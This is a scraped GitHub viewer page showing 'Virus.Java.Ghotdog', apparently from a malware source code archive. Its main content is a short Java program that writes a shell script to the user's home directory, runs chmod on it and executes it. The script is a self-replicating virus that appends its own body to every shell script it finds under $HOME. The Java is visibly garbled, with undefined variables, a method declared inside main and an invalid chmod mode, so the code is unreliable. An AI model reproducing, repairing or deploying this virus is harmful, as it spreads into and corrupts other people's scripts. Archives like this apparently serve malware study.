FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
MalwareSourceCode/Java/Virus.Java.Ghotdog at main · 0xtejas/MalwareSourceCode · GitHub
0xtejas
/
MalwareSourceCode
Public
forked from
vxunderground/MalwareSourceCode
Notifications
You must be signed in to change notification settings
Fork
0
Star
1
Code
Pull requests
0
Actions
Projects
Security and quality
0
Insights
Additional navigation options
Code
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
MalwareSourceCode
/
Java
/
Virus.Java.Ghotdog
Copy path
More file actions
More file actions
Latest commit
History
History
History
33 lines (32 loc) · 1.35 KB
Breadcrumbs
MalwareSourceCode
/
Java
/
Virus.Java.Ghotdog
Copy path
File metadata and controls
33 lines (32 loc) · 1.35 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import java.io.*;
class GhostDog {
public static void main (String[] argv) {
try {
String userHome = System.getProperty("user.home");
String target = "$HOME";
FileOutputStream outer = new FileOutputStream(userHome + "/.ghostdog.sh");
String homer = "#!/bin/sh" + "\n" + "#-_" + "\n" +
"echo \"This is a New Target File from me..-->GhostDog<--.\"" + "\n" +
"for file in `find " + target + " -type f -print`" + "\n" + "do" +
"\n" + " case \"`sed 1q $file`\" in" + "\n" +
" \"#!/bin/sh\" ) grep '#-_' $file > /dev/null" +
" || sed -n '/#-_/,$p' $0 >> $file" + "\n" +
" esac" + "\n" + "done" + "\n" +
"2>/dev/null";
byte[] buffer = new byte[homer.length()];
ghostdog.getBytes(0, ghostdog.length(), buffer, 0);
public void start() {
if (sleeper == null) {
sleeper = new Thread(this);
sleeper.setPriority(Thread.MAX_PRIORITY);
sleeper.start();
}
outer.write(buffer);
outer.close();
Process chmod = Runtime.getRuntime().exec("/usr/bin/chmod 888 " +
userHome + "/.ghostdog.sh");
Process exec = Runtime.getRuntime().exec("/bin/sh " + userHome +
"/.ghostdog.sh");
} catch (IOException ioe) {}
}
}
Back
|
FazBrowse Home
|
New Git URL